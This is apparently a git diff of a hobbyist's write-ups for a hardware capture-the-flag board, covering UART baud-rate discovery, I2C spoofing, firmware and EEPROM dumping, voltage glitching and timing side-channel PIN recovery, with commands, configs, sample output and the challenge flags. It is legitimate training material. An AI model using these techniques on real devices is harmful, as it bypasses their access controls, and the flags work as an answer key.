+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
